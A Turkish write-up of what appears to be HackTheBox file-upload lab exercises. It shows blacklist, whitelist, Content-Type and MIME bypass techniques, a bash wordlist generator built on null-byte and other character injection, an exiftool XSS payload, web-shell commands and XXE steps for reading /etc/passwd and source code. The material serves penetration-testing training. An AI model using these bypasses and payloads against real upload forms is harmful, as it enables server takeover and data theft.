Fuzzing taramamızda kullanabileceğimiz birçok uzantı listesi vardır. PayloadsAllTheThings, PHP ve .NET web uygulamaları için uzantı listeleri sağlar. Ayrıca yaygın Web Uzantılarının SecLists listesini de kullanabiliriz.

Fuzzing taramamız için yukarıdaki listelerden herhangi birini kullanabiliriz. Bir PHP uygulamasını test ettiğimiz için yukarıdaki PHP listesini indirip kullanacağız. Ardından, Burp Geçmişi’nden /upload.php’ye yaptığımız son isteği bulabilir, üzerine sağ tıklayabilir ve Intruder’a Gönder’i seçebiliriz. Pozisyonlar sekmesinden, otomatik olarak ayarlanmış pozisyonları temizleyebilir ve ardından filename=”HTB.php” içindeki .php uzantısını seçebilir ve bunu bir fuzzing pozisyonu olarak eklemek için Add düğmesine tıklayabiliriz:

Bu saldırı için dosya içeriğini saklayacağız, çünkü biz sadece dosya uzantılarını fuzzing ile ilgileniyoruz. Son olarak, PHP uzantıları listesini Payloads sekmesinde Payload Options altında yukarıdan yükleyebiliriz. Dosya uzantısından önce (.) kodlamasını önlemek için URL Kodlaması seçeneğinin işaretini de kaldıracağız. Bu yapıldıktan sonra, blacklist’te olmayan dosya uzantılarını fuzzing’e başlatmak için Attack’i Başlat’a tıklayabiliriz:

Sonuçları Uzunluğa göre sıralayabiliriz ve Content-Length (193) değerine sahip tüm isteklerin uzantı doğrulamasını geçtiğini ve hepsinin File successfully uploaded (Dosya başarıyla yüklendi) şeklinde yanıt verdiğini görebiliriz. Buna karşılık, geri kalanlar Uzantıya izin verilmediğini belirten bir hata mesajıyla yanıt verdi.

Non-Blacklisted Extensions

Şimdi, yukarıdaki izin verilen uzantılardan herhangi birini kullanarak bir dosya yüklemeyi deneyebiliriz ve bunlardan bazıları PHP kodunu çalıştırmamıza izin verebilir. Tüm uzantılar tüm web sunucusu yapılandırmalarında çalışmayacaktır, bu nedenle PHP kodunu başarıyla çalıştıran bir uzantı elde etmek için birkaç uzantı denememiz gerekebilir.

PHP web sunucularının genellikle kod çalıştırma hakları için izin verdiği .phtml uzantısını kullanalım. Saldırgan sonuçlarında isteğine sağ tıklayabilir ve Repeater’a Gönder’i seçebiliriz. Şimdi tek yapmamız gereken, dosya adını .phtml uzantısını kullanacak şekilde değiştirerek ve içeriği bir PHP web shell’i olarak değiştirerek önceki iki bölümde yaptıklarımızı tekrarlamaktır:

Gördüğümüz gibi, dosyamız gerçekten de yüklenmiş görünüyor. Son adım, önceki bölümde gördüğümüz gibi resim yükleme dizini (profile_images) altında olması gereken yükleme dosyamızı ziyaret etmektir. Ardından, blacklist’i başarıyla atlattığımızı ve web shell’imizi yüklediğimizi doğrulayacak bir komut çalıştırmayı test edebiliriz:

Makine Çözümü -5

Soru : Blacklist’te olmayan ve web sunucusunda PHP kodunu çalıştırabilen bir uzantı bulmaya çalışın ve bunu “/flag.txt” dosyasını okumak için kullanın

1- İsteği yakalayıp İntruder ile bir uzantı salrıısı yaptık ve .phar uzantısının blacklist’den atladığını testpit ettik.

2- Web shellimizi .phar uzantısı şeklinde yollayalım .

3- Web shellimize deneme amaçlı kod çalıştıralım . (?cmd=id)

4- Bayrağımızın nerede olduğunu tespit edelim. (find / -name flag.txt)

5- Son olarak bayrağımızı cat ile okulayalim .

Whitelist Filters

Önceki bölümde tartışıldığı gibi, diğer dosya uzantısı doğrulama türü, izin verilen dosya uzantılarının bir whitelist’ini kullanmaktır. Whitelist genellikle blacklist’ten daha güvenlidir. Web sunucusu yalnızca belirtilen uzantılara izin verir ve listenin yaygın olmayan uzantıları kapsayacak şekilde kapsamlı olması gerekmez.

Yine de blacklist ve whitelist için farklı kullanım durumları vardır. Blacklist, yükleme işlevinin çok çeşitli dosya türlerine izin vermesi gereken durumlarda (örneğin Dosya Yöneticisi) yararlı olabilirken, whitelist genellikle yalnızca birkaç dosya türüne izin verilen yükleme işlevlerinde kullanılır. Her ikisi birlikte de kullanılabilir.

Uzantıları WhiteList’e Alma

Bu bölümdeki alıştırmaya başlayalım ve .phtml gibi yaygın olmayan bir PHP uzantısını yüklemeyi deneyelim ve önceki bölümde yaptığımız gibi yükleyip yükleyemeyeceğimizi görelim:

Yalnızca resimlere izin verildiğini belirten bir mesaj aldığımızı görüyoruz; bu, web uygulamalarında engellenmiş bir uzantı türü görmekten daha yaygın olabilir. Bununla birlikte, hata mesajları her zaman hangi doğrulama biçiminin kullanıldığını yansıtmaz, bu nedenle daha önce kullandığımız kelime listesini kullanarak önceki bölümde yaptığımız gibi izin verilen uzantıları fuzz etmeye çalışalım:

PHP uzantılarının tüm varyasyonlarının engellendiğini görebiliriz (örn. php5, php7, phtml). Ancak, kullandığımız kelime listesi engellenmeyen ve başarıyla yüklenen diğer ‘kötü amaçlı’ uzantıları da içeriyordu. Şimdi bu uzantıları nasıl yükleyebildiğimizi ve hangi durumlarda back-end sunucuda PHP kodu çalıştırmak için bunları kullanabileceğimizi anlamaya çalışalım.

Aşağıda bir dosya uzantısı whitelist testi örneği yer almaktadır:

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}

Betikte, dosya adının whitelisted resim uzantılarını içerip içermediğini test etmek için bir Düzenli İfade (regex) kullanıldığını görüyoruz. Buradaki sorun regex’in içinde yatıyor, çünkü sadece dosya adının uzantıyı içerip içermediğini kontrol ediyor, gerçekten uzantıyla bitip bitmediğini kontrol etmiyor. Birçok geliştirici, regex kalıplarının zayıf bir şekilde anlaşılması nedeniyle bu tür hatalar yapar.

Şimdi, PHP scriptlerini yüklemek için bu testleri nasıl atlayabileceğimizi görelim.

Double Extensions

Kod yalnızca dosya adının bir resim uzantısı içerip içermediğini test eder; regex testini geçmenin basit bir yöntemi Double Extensions kullanmaktır. Örneğin, .jpg uzantısına izin veriliyorsa, bunu yüklediğimiz dosya adına ekleyebilir ve dosya adımızı yine de .php ile bitirebiliriz (örn. shell.jpg.php), bu durumda PHP kodunu çalıştırabilen bir PHP betiği yüklemeye devam ederken whitelist testini geçebilmemiz gerekir.

Normal bir yükleme isteğine müdahale edelim ve dosya adını (shell.jpg.php) olarak değiştirelim ve içeriğini bir web shell’i olarak değiştirelim:

Şimdi, yüklenen dosyayı ziyaret edip bir komut göndermeyi denersek, gerçekten de sistem komutlarını başarıyla yürüttüğünü görebiliriz, yani yüklediğimiz dosya tamamen çalışan bir PHP betiğidir:

Ancak, bazı web uygulamaları daha önce de belirtildiği gibi aşağıdaki gibi katı bir regex kalıbı kullanabileceğinden, bu her zaman işe yaramayabilir:

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }

Bu kalıp yalnızca son dosya uzantısını dikkate almalıdır, çünkü son (.) işaretine kadar olan her şeyi eşleştirmek için (^.*\.) kullanır ve ardından yalnızca dosya adını sonlandıran uzantıları eşleştirmek için sonda ($) kullanır. Dolayısıyla, yukarıdaki saldırı işe yaramayacaktır. Bununla birlikte, bazı istismar teknikleri bu kalıbı atlamamıza izin verebilir, ancak çoğu yanlış yapılandırmalara veya eski sistemlere dayanır.

Reverse Double Extension

Bazı durumlarda, dosya yükleme işlevinin kendisi güvenlik açığı oluşturmayabilir, ancak web sunucusu yapılandırması güvenlik açığına yol açabilir. Örneğin, bir kuruluş dosya yükleme işlevine sahip açık kaynaklı bir web uygulaması kullanabilir. Dosya yükleme işlevi yalnızca dosya adındaki son uzantıyla eşleşen katı bir regex kalıbı kullansa bile, kuruluş web sunucusu için güvenli olmayan yapılandırmalar kullanabilir.

Örneğin, Apache2 web sunucusu için /etc/apache2/mods-enabled/php7.4.conf aşağıdaki yapılandırmayı içerebilir:

<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

Yukarıdaki yapılandırma, web sunucusunun PHP kodunun yürütülmesine izin vereceği dosyaları belirleme yöntemidir. .phar, .php ve .phtml ile eşleşen bir regex kalıbı içeren bir whitelist belirler. Ancak, bu regex kalıbı ($) ile bitirmeyi unutursak daha önce gördüğümüz hataya sahip olabilir. Bu gibi durumlarda, yukarıdaki uzantıları içeren herhangi bir dosya PHP uzantısı ile bitmese bile PHP kodunun yürütülmesine izin verilecektir. Örneğin, (shell.php.jpg) dosya adı (.jpg) ile bittiği için daha önceki whitelist testini geçmelidir ve adında (.php) içerdiği için yukarıdaki yanlış yapılandırma nedeniyle PHP kodunu çalıştırabilecektir.

Normal bir resim yükleme isteğini engellemeye çalışalım ve sıkı whitelist testini geçmek için yukarıdaki dosya adını kullanalım:

Şimdi, yüklenen dosyayı ziyaret edebilir ve bir komut çalıştırmayı deneyebiliriz:

Gördüğümüz gibi, sıkı whitelist testini başarıyla atlattık ve PHP kodunu çalıştırmak ve sunucu üzerinde kontrol kazanmak için web sunucusu yanlış yapılandırmasından yararlandık.

Character Injection

Son olarak, Character Injection yoluyla bir whitelist doğrulama testini atlamanın başka bir yöntemini tartışalım. Web uygulamasının dosya adını yanlış yorumlamasına ve yüklenen dosyayı bir PHP betiği olarak çalıştırmasına neden olmak için son uzantıdan önce veya sonra birkaç karakter enjekte edebiliriz.

Aşağıda enjekte etmeyi deneyebileceğimiz karakterlerden bazıları verilmiştir:

%20%0a%00%0d0a/.\.…:

Her karakterin, web uygulamasını dosya uzantısını yanlış yorumlaması için kandırabilecek özel bir kullanım durumu vardır. Örneğin, (shell.php%00.jpg) PHP web sunucusunun dosya adını (%00)’den sonra bitirmesine ve beyaz listeyi geçmeye devam ederken (shell.php) olarak saklamasına neden olduğu için 5.X veya önceki sürümlere sahip PHP sunucularında çalışır. Aynısı, izin verilen dosya uzantısından önce iki nokta üst üste (:) enjekte edilerek Windows sunucusunda barındırılan web uygulamaları için de kullanılabilir (örn. shell.aspx:.jpg), bu da dosyayı (shell.aspx) olarak yazmalıdır. Benzer şekilde, diğer karakterlerin her birinin, tür doğrulama testini atlayarak bir PHP betiği yüklememize izin verebilecek bir kullanım durumu vardır.

Dosya adının tüm permütasyonlarını üreten küçük bir bash betiği yazabiliriz, burada yukarıdaki karakterler hem PHP hem de JPG uzantılarından önce ve sonra aşağıdaki gibi enjekte edilecektir:

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done

Bu özel kelime listesiyle, Burp Intruder ile daha önce yaptıklarımıza benzer bir fuzzing taraması yapabiliriz. Back-end veya web sunucusu güncel değilse veya belirli yanlış yapılandırmalara sahipse, oluşturulan dosya adlarından bazıları beyaz liste testini atlayabilir ve PHP kodunu çalıştırabilir.

Alıştırma yapın: Daha fazla dosya adı permütasyonu oluşturmak için yukarıdaki betiğe daha fazla PHP uzantısı eklemeyi deneyin, ardından oluşturulan dosya adlarından hangilerinin yüklenebileceğini ve hangilerinin yüklendikten sonra PHP kodunu çalıştırabileceğini görmek için oluşturulan kelime listesi ile yükleme işlevini fuzzlayın.

Makine Çözümü -6

Soru : Bu makine , istenmeyen uzantıları engellemek ve yalnızca görüntü uzantılarına izin vermek için bir blacklist ve bir whitelist testi kullanır. Bir PHP betiği yüklemek ve “/flag.txt” dosyasını okumak için kod çalıştırmak üzere her ikisini de atlamaya çalışın.

1- Öncelikle bir wordlist oluşturalım . Bu wordlisti otomatik oluşturmak için aşağıdaki bash betiğini kullandım . Fakat 2 den fazla uzantı girince betik saçmalıyordu . Bunun için “phpt” ve “php8” yazan yerleri sürekli değiştirerek wordliste ekleme yaparak wordlistin payload’ını genişlettim .

2- İsteği yakalayıp intruder’da brute-force bıraktıktan sonra bir kaç olumlu sonuç geldi .

3- Lenght değeri 193 olanlar istekleri hedef sisteme ulaşıyordu fakat ?cmd=id komutuna 4xx hatalarını alıyorum . Başka bir taktik deneyerek . Şu payloadın çalıştığını keşfettim . (phar.jpg)

4- ?cmd=id ile komut çalıştıralım .

5- Kodumuz çalışıyor /flag.txt dosyamızı okuyalım . (Eğer flag.txt dosyası bulunduğumuz dizinde değilse find komutu ile aramamız gerekebilir fakat bu makine ‘da öyle bir durum söz konusu değil.)

Type Filters

Şimdiye kadar, yalnızca dosya adındaki dosya uzantısını dikkate alan tür filtreleriyle uğraştık. Ancak, önceki bölümde gördüğümüz gibi, resim uzantılarıyla bile (örn. shell.php.jpg) back-end sunucu üzerinde kontrol elde edebiliriz. Ayrıca, başka saldırılar gerçekleştirmek için izin verilen bazı uzantıları (örn. SVG) kullanabiliriz. Tüm bunlar, dosya yükleme saldırılarını önlemek için yalnızca dosya uzantısını test etmenin yeterli olmadığını göstermektedir.

Bu nedenle birçok modern web sunucusu ve web uygulaması, belirtilen türle eşleştiğinden emin olmak için yüklenen dosyanın içeriğini de test eder. Uzantı filtreleri çeşitli uzantıları kabul edebilirken, içerik filtreleri genellikle tek bir kategori belirtir (örneğin, resimler, videolar, belgeler), bu nedenle genellikle blacklist veya whitelist kullanmazlar. Bunun nedeni, web sunucularının dosya içerik türünü kontrol etmek için işlevler sağlaması ve genellikle belirli bir kategoriye girmesidir.

Dosya içeriğini doğrulamak için iki yaygın yöntem vardır: Content-Type Header veya File Content. Her bir filtreyi nasıl tanımlayabileceğimizi ve her ikisini de nasıl atlayabileceğimizi görelim.

Content-Type

Bu bölümündeki alıştırmaya başlayalım ve bir PHP script’i yüklemeye çalışalım:

Yalnızca resimlere izin verildiğini belirten bir mesaj aldığımızı görüyoruz. Hata mesajı devam ediyor ve önceki bölümlerde öğrendiğimiz bazı hileleri denesek bile dosyamız yüklenemiyor. Dosya adını shell.jpg.phtml veya shell.php.jpg olarak değiştirirsek, hatta shell.jpg’i bir web shell içeriğiyle kullanırsak, yüklememiz başarısız olacaktır. Dosya uzantısı hata mesajını etkilemediğinden, web uygulaması dosya içeriğini tür doğrulaması için test ediyor olmalıdır. Daha önce de belirtildiği gibi, bu Content-Type Başlığında ya da File Content’te olabilir.

Aşağıda, bir PHP web uygulamasının dosya türünü doğrulamak için Content-Type başlığını nasıl test ettiğine dair bir örnek verilmiştir:

$type = $_FILES['uploadFile']['type'];

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}

Kod, yüklenen dosyanın Content-Type başlığından ($type) değişkenini ayarlar. Tarayıcılarımız, dosya seçici iletişim kutusu aracılığıyla bir dosya seçerken Content-Type başlığını otomatik olarak ayarlar ve genellikle dosya uzantısından türetilir. Ancak, tarayıcılarımız bunu ayarladığından, bu işlem client-side bir işlemdir ve algılanan dosya türünü değiştirmek ve potansiyel olarak tür filtresini atlamak için bunu manipüle edebiliriz.

Hangi türlere izin verildiğini görmek için Burp Intruder aracılığıyla SecLists’in Content-Type Wordlist’i ile Content-Type başlığını fuzzing yaparak başlayabiliriz. Ancak, mesaj bize yalnızca görüntülere izin verildiğini söyler, bu nedenle taramamızı görüntü türleriyle sınırlayabiliriz, bu da kelime listesini yalnızca 45 türe indirir (başlangıçta yaklaşık 700'e kıyasla). Bunu aşağıdaki şekilde yapabiliriz:

M1R4CKCK@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Miscellaneous/web/content-type.txt
M1R4CKCK@htb[/htb]$ cat content-type.txt | grep 'image/' > image-content-types.txt

Basitlik adına, sadece bir resim türü seçelim (örn. image/jpg), sonra yükleme isteğimizi durduralım ve Content-Type başlığını buna değiştirelim:

Bu sefer File successfully uploaded (Dosya başarıyla yüklendi) sonucunu alırız ve dosyamızı ziyaret edersek başarıyla yüklendiğini görürüz:

Not: Bir dosya yükleme HTTP isteğinde, biri ekli dosya için (altta) ve diğeri isteğin tamamı için (üstte) olmak üzere iki Content-Type başlığı bulunur. Genellikle dosyanın Content-Type başlığını değiştirmemiz gerekir, ancak bazı durumlarda istek yalnızca ana Content-Type başlığını içerir (örneğin, yüklenen içerik POST verisi olarak gönderilmişse), bu durumda ana Content-Type başlığını değiştirmemiz gerekir.

MIME-Type

İkinci ve daha yaygın olan dosya içeriği doğrulama türü, yüklenen dosyanın MIME-Type’ını test etmektir. Multipurpose Internet Mail Extensions (MIME), genel formatı ve bayt yapısı aracılığıyla bir dosyanın türünü belirleyen bir internet standardıdır.

Bu genellikle Dosya İmzası veya Magic Bytes içeren dosya içeriğinin ilk birkaç baytı incelenerek yapılır. Örneğin, bir dosya (GIF87a veya GIF89a) ile başlıyorsa, bu onun bir GIF görüntüsü olduğunu gösterirken, düz metinle başlayan bir dosya genellikle bir Metin dosyası olarak kabul edilir. Herhangi bir dosyanın ilk baytlarını GIF sihirli baytları olarak değiştirirsek, geri kalan içeriği veya uzantısı ne olursa olsun MIME türü GIF görüntüsü olarak değiştirilir.

İpucu: Diğer birçok görüntü türünün dosya imzaları yazdırılamayan baytlardan oluşurken, bir GIF görüntüsü ASCII yazdırılabilir baytlarla başlar (yukarıda gösterildiği gibi), bu nedenle taklit edilmesi en kolay olanıdır. Ayrıca, GIF8 dizesi her iki GIF imzası arasında ortak olduğundan, genellikle bir GIF görüntüsünü taklit etmek için yeterlidir.

Bunu göstermek için basit bir örnek verelim. Unix sistemlerindeki file komutu, dosya türünü MIME tipini kullanarak bulur. İçinde metin olan basit bir dosya oluşturursak, aşağıdaki gibi bir metin dosyası olarak kabul edilecektir:

M1R4CKCK@htb[/htb]$ echo "this is a text file" > text.jpg
M1R4CKCK@htb[/htb]$ file text.jpg
text.jpg: ASCII text

Gördüğümüz gibi, uzantısı .jpg olmasına rağmen dosyanın MIME türü ASCII metindir. Ancak, dosyanın başına GIF8 yazarsak, uzantısı hala .jpg olsa bile, bunun yerine bir GIF görüntüsü olarak kabul edilecektir:

M1R4CKCK@htb[/htb]$ echo "GIF8" > text.jpg
M1R4CKCK@htb[/htb]$file text.jpg
text.jpg: GIF image data

Web sunucuları da dosya türlerini belirlemek için bu standardı kullanabilir ve bu genellikle dosya uzantısını test etmekten daha doğrudur. Aşağıdaki örnek, bir PHP web uygulamasının yüklenen bir dosyanın MIME türünü nasıl test edebileceğini göstermektedir:

$type = mime_content_type($_FILES['uploadFile']['tmp_name']);

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}

Gördüğümüz gibi, MIME türleri Content-Type başlıklarında bulunanlara benzer, ancak PHP bir dosyanın MIME türünü almak için mime_content_type() işlevini kullandığından kaynakları farklıdır. Son saldırımızı tekrarlayalım, ama şimdi hem Content-Type başlığını hem de MIME türünü test eden bir alıştırma yapalım:

İsteğimizi ilettiğimizde, Yalnızca resimlere izin verilir hata mesajını aldığımızı fark ediyoruz. Şimdi, dosya uzantımızı .php olarak tutarken bir GIF görüntüsünü taklit etmeye çalışmak için PHP kodumuzun önüne GIF8 eklemeyi deneyelim, böylece PHP kodunu ne olursa olsun çalıştıracaktır:

Bu sefer File successfully uploaded komutunu alıyoruz ve dosyamız sunucuya başarıyla yükleniyor:

Şimdi yüklediğimiz dosyayı ziyaret edebiliriz ve sistem komutlarını başarıyla yürütebildiğimizi göreceğiz:

Not: Komut çıktısının GIF8 ile başladığını görüyoruz, çünkü bu GIF sihirli baytlarını taklit etmek için PHP betiğimizdeki ilk satırdı ve şimdi PHP kodumuz çalıştırılmadan önce düz metin olarak çıktılanıyor.

Bu bölümde tartışılan iki yöntemin bir kombinasyonunu kullanabiliriz, bu da bazı daha sağlam içerik filtrelerini atlamamıza yardımcı olabilir. Örneğin, izin verilmeyen bir Content-Type ile bir Allowed MIME tipi, izin verilmeyen bir uzantı ile bir Allowed MIME/Content-Type veya izin verilen bir uzantı ile bir Disallowed MIME/Content-Type kullanmayı deneyebiliriz. Benzer şekilde, web sunucusunun kafasını karıştırmak için başka kombinasyonlar ve permütasyonlar deneyebilir ve kod güvenliği düzeyine bağlı olarak çeşitli filtreleri atlatabiliriz.

Makine Çözümü -7

Soru : Yukarıdaki sunucu, yüklenen dosyanın bir resim olduğundan emin olmak için Client-Side, Blacklist, Whitelist, Content-Type ve MIME-Type filtrelerini kullanır. Bu filtreleri aşmak ve bir PHP dosyası yüklemek ve “/flag.txt” adresindeki bayrağı okumak için şu ana kadar öğrendiğiniz tüm saldırıları birleştirmeye çalışın

Cevap :

1- İlk olarak Content-Type: filtresini atlamak için brute force atak ile kabul edilebilir bir parametre bulmamız lazım . Web sitesi Gif kabul eden bir Content-Type parametresini (image/gif) keşfettik. Ayrıca hedef web sitesi magic bytes kontrolü yaptığı için ayrıca gif dosyaları GIF8 ile başladığı için bu şekilde test etmemiz gerekiyor.

2- Content type ve MIME-Type filterini atladık şimdi sırada blacklist ve whitelist filterlerini nasıl atlayacağız ? Hedef sisteme bir brute-force saldırısı ile kabul edilebilir uzantıları tespit edelim . Çalışan .phar uzantısını keşfettik fakat bu blacklisti atlasa bile whitelist’e takılıyor . Bunun için whitelist’i geçmek için önceki konularda bahsedilen taktiği kullanalım . (gif.phar)

3- Web shell’imizi yüklemeyi başardık şimdi flag.txt dosyamızı okuyalım .

4- Özetlemek gerekirse.

Content Type : image/gif

MIME-Type : GIF8

Blacklist: .phar

Whitelist : gif.phar

İle Hedef sistemin savunma mekanizmasını atladık .

Sınırlı Dosya Yükleme

Şimdiye kadar, bu modülün bu seviyedeki ana odak noktası olan savunmasız bir web uygulaması aracılığıyla rastgele dosya yüklemeleri elde etmek için filtre atlamaları ile uğraştık. Zayıf filtrelere sahip dosya yükleme formları rastgele dosya yüklemek için kullanılabilirken, bazı yükleme formları tartıştığımız tekniklerle istismar edilemeyebilecek güvenli filtrelere sahiptir. Bununla birlikte, yalnızca belirli dosya türlerini yüklememize izin veren sınırlı (yani keyfi olmayan) bir dosya yükleme formuyla uğraşıyor olsak bile, web uygulamasına bazı saldırılar gerçekleştirebiliriz.

SVG, HTML, XML ve hatta bazı resim ve belge dosyaları gibi belirli dosya türleri, bu dosyaların kötü amaçlı sürümlerini yükleyerek web uygulamasına yeni güvenlik açıkları eklememize izin verebilir. Bu nedenle, izin verilen dosya uzantılarını fuzzing yapmak, herhangi bir dosya yükleme saldırısı için önemli bir alıştırmadır. Web sunucusunda hangi saldırıların gerçekleştirilebileceğini keşfetmemizi sağlar. Şimdi bu saldırılardan bazılarını inceleyelim.

XSS

Birçok dosya türü, kötü niyetle hazırlanmış sürümlerini yükleyerek web uygulamasına bir Stored XSS güvenlik açığı eklememize izin verebilir.

En temel örnek, bir web uygulamasının HTML dosyalarını yüklememize izin vermesidir. HTML dosyaları kod (örn. PHP) çalıştırmamıza izin vermese de, yüklenen HTML sayfasını ziyaret edenlere bir XSS veya CSRF saldırısı gerçekleştirmek için içlerine JavaScript kodu yerleştirmek mümkün olabilir. Hedef, güvendiği bir web sitesinden bir bağlantı görürse ve web sitesi HTML belgelerinin yüklenmesine karşı savunmasızsa, bağlantıyı ziyaret etmeleri için onları kandırmak ve saldırıyı makinelerine taşımak mümkün olabilir.

XSS saldırılarına bir başka örnek de bir resmin yüklendikten sonra meta verilerini görüntüleyen web uygulamalarıdır. Bu tür web uygulamaları için, Comment veya Artist parametreleri gibi ham metin kabul eden Metadata parametrelerinden birine aşağıdaki gibi bir XSS payload’u ekleyebiliriz:

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

Comment parametresinin XSS payload’umuz için güncellendiğini görebiliriz. Resmin meta verileri görüntülendiğinde, XSS payload’u tetiklenmeli ve XSS saldırısını gerçekleştirmek için JavaScript kodu çalıştırılmalıdır. Ayrıca, görüntünün MIME-Tipini text/html olarak değiştirirsek, bazı web uygulamaları görüntüyü bir görüntü yerine bir HTML belgesi olarak gösterebilir, bu durumda meta veriler doğrudan görüntülenmese bile XSS payload’u tetiklenir.

Son olarak, XSS saldırıları diğer birçok saldırıyla birlikte SVG görüntüleriyle de gerçekleştirilebilir. Ölçeklenebilir Vektör Grafikleri (SVG) görüntüleri XML tabanlıdır ve tarayıcının bir görüntü haline getirdiği 2D vektör grafiklerini tanımlarlar. Bu nedenle, XML verilerini bir XSS payload’u içerecek şekilde değiştirebiliriz. Örneğin, HTB.svg dosyasına aşağıdakileri yazabiliriz:

Resmi web uygulamasına yükledikten sonra, resim her görüntülendiğinde XSS payload’u tetiklenecektir.

XXE

Benzer saldırılar XXE istismarına yol açacak şekilde gerçekleştirilebilir. SVG görüntüleriyle, web uygulamasının kaynak kodunu ve sunucu içindeki diğer dahili belgeleri sızdırmak için kötü amaçlı XML verileri de ekleyebiliriz. Aşağıdaki örnek (/etc/passwd) içeriğini sızdıran bir SVG görüntüsü için kullanılabilir:

Yukarıdaki SVG görüntüsü yüklendiğinde ve görüntülendiğinde, XML belgesi işlenecek ve (/etc/passwd) bilgisini sayfaya yazdırmalı veya sayfa kaynağında göstermeliyiz. Benzer şekilde, web uygulaması XML belgelerinin yüklenmesine izin veriyorsa, XML verileri web uygulamasında görüntülendiğinde aynı payload aynı saldırıyı taşıyabilir.

etc/passwd gibi sistem dosyalarının okunması sunucu numaralandırması için çok faydalı olsa da, web uygulamasının kaynak dosyalarını okumamıza izin verdiği için web sızma testi için daha da önemli bir faydası olabilir. Kaynak koda erişim, Whitebox Penetrasyon Testi aracılığıyla web uygulamasında istismar edilecek daha fazla güvenlik açığı bulmamızı sağlayacaktır. File Upload istismarı için, yükleme dizinini bulmamıza, izin verilen uzantıları tanımlamamıza veya daha fazla istismar için kullanışlı olabilecek dosya adlandırma şemasını bulmamıza izin verebilir.

PHP web uygulamalarında kaynak kodunu okumak için XXE kullanmak için, SVG görüntümüzde aşağıdaki payload’u kullanabiliriz:

SVG görüntüsü görüntülendiğinde, kaynak kodunu okumak için kodunu çözebileceğimiz index.php’nin base64 kodlu içeriğini almalıyız.

XML verilerini kullanmak SVG görüntülerine özgü değildir, PDF, Word Belgeleri, PowerPoint Belgeleri gibi birçok belge türü tarafından da kullanılır. Tüm bu belgeler, biçimlerini ve yapılarını belirtmek için içlerinde XML verileri içerir. Bir web uygulamasının XXE’ye karşı savunmasız bir belge görüntüleyici kullandığını ve bu belgelerden herhangi birinin yüklenmesine izin verdiğini varsayalım. Bu durumda, XML verilerini kötü niyetli XXE öğelerini içerecek şekilde değiştirebilir ve back-end web sunucusuna blind bir XXE saldırısı yapabiliriz.

DoS

Son olarak, birçok dosya yükleme güvenlik açığı web sunucusunda Hizmet Reddi (DOS) saldırısına yol açabilir.

Ayrıca, ZIP arşivleri gibi veri sıkıştırma kullanan dosya türleriyle bir Dekompresyon Bombası kullanabiliriz. Bir web uygulaması bir ZIP arşivini otomatik olarak açarsa, içinde iç içe geçmiş ZIP arşivleri içeren kötü amaçlı bir arşiv yüklemek mümkündür, bu da sonunda birçok Petabayt veriye yol açabilir ve back-end sunucusunda bir çökmeye neden olabilir.

Bir başka olası DoS saldırısı da JPG veya PNG gibi görüntü sıkıştırma kullanan bazı görüntü dosyalarına yönelik bir Pixel Flood saldırısıdır. Herhangi bir görüntü boyutunda (örneğin 500x500) herhangi bir JPG görüntü dosyası oluşturabilir ve ardından sıkıştırma verilerini manuel olarak değiştirerek (0xffff x 0xffff) boyutunda olduğunu söyleyebiliriz, bu da algılanan boyutu 4 Gigapiksel olan bir görüntü ile sonuçlanır. Web uygulaması görüntüyü göstermeye çalıştığında, tüm belleğini bu görüntüye ayırmaya çalışacak ve bu da back-end sunucunun çökmesine neden olacaktır.

Bu saldırılara ek olarak, back-end sunucusunda DoS’a neden olmak için birkaç yöntem daha deneyebiliriz. Bunun bir yolu aşırı büyük bir dosya yüklemektir, çünkü bazı yükleme formları yükleme dosya boyutunu sınırlamayabilir veya yüklemeden önce kontrol etmeyebilir, bu da sunucunun sabit diskini doldurabilir ve çökmesine veya önemli ölçüde yavaşlamasına neden olabilir.

Yükleme işlevi dizin geçişine karşı savunmasızsa, dosyaları farklı bir dizine (örn. ../../../etc/passwd) yüklemeyi de deneyebiliriz, bu da sunucunun çökmesine neden olabilir. Savunmasız bir dosya yükleme işlevi aracılığıyla DOS saldırılarının diğer örneklerini aramaya çalışın.

Makine Çözümü -8

Soru : Yukarıdaki alıştırma, rastgele dosya yüklemelerine karşı güvenli olması gereken bir yükleme işlevi içerir. “/flag.txt” dosyasını okumak için bu bölümde gösterilen saldırılardan birini kullanarak bunu istismar etmeye çalışın

Cevap :

1- İlk olarak yükleme sayfasını incelediğimizde sadece .svg uzantılı dosyaları kabul ettiğini görüyoruz.

2- svg uzantılı bir xml payloadı oluşturalım .

3- Bu payload açıkca görünüyor ki hedef sistemin /etc/passwd dosyasını okumaya amaçlı. Hedef sisteme yükleyelim ve ne olacağını görelim . Ayrıca isteğimizin nasıl gittiğini aşağıda görüyoruz.

4- Payload web sitesine yüklendi fakat hiç bir sonuç elde edemedik .

5- View page soruce’dan kaynak koda bakalım .

6- Payloadımız çalışmış ve ekranda gözükmeyecek şekilde kaynak koda yerleşmiş . Fakat amacımız flag.txt dosyasını okumak olduğundan payloadmızdaki /etc/passwd yerine flag.txt yazalım .

7- Tekrardan aynı şekilde hedef yükleyelim . (İpucu hız acısından burpsuit’de http history kısmını kullabilirsiniz veya en baştan aynı şekilde.)

8- Aynı şekilde upload ettikten sonra bayrağımızı aldık .

Makine Çözümü 9-

Soru : Uploads dizinini tanımlamak için ‘upload.php’ kaynak kodunu okumaya çalışın ve adını cevap olarak kullanın. (tırnak işaretleri olmadan tam olarak kaynakta bulunduğu gibi yazın)

1- İlk olarak yukarıda bize verilen payloadı ‘upload.php’ ‘ye göre düzenleyelim.

2- Dosyamızı hedef sisteme .svg uzantılı şekilde yükleyelim .

3- Kaynak koda dükkat ettiğimizde base64 kodlu bir kod geldi . Bu bizim upload.php sayfamızın kaynak kodudur.

4- Decode edelim.

5- Cevabımız 2. satırda olan ./images/ ‘dır

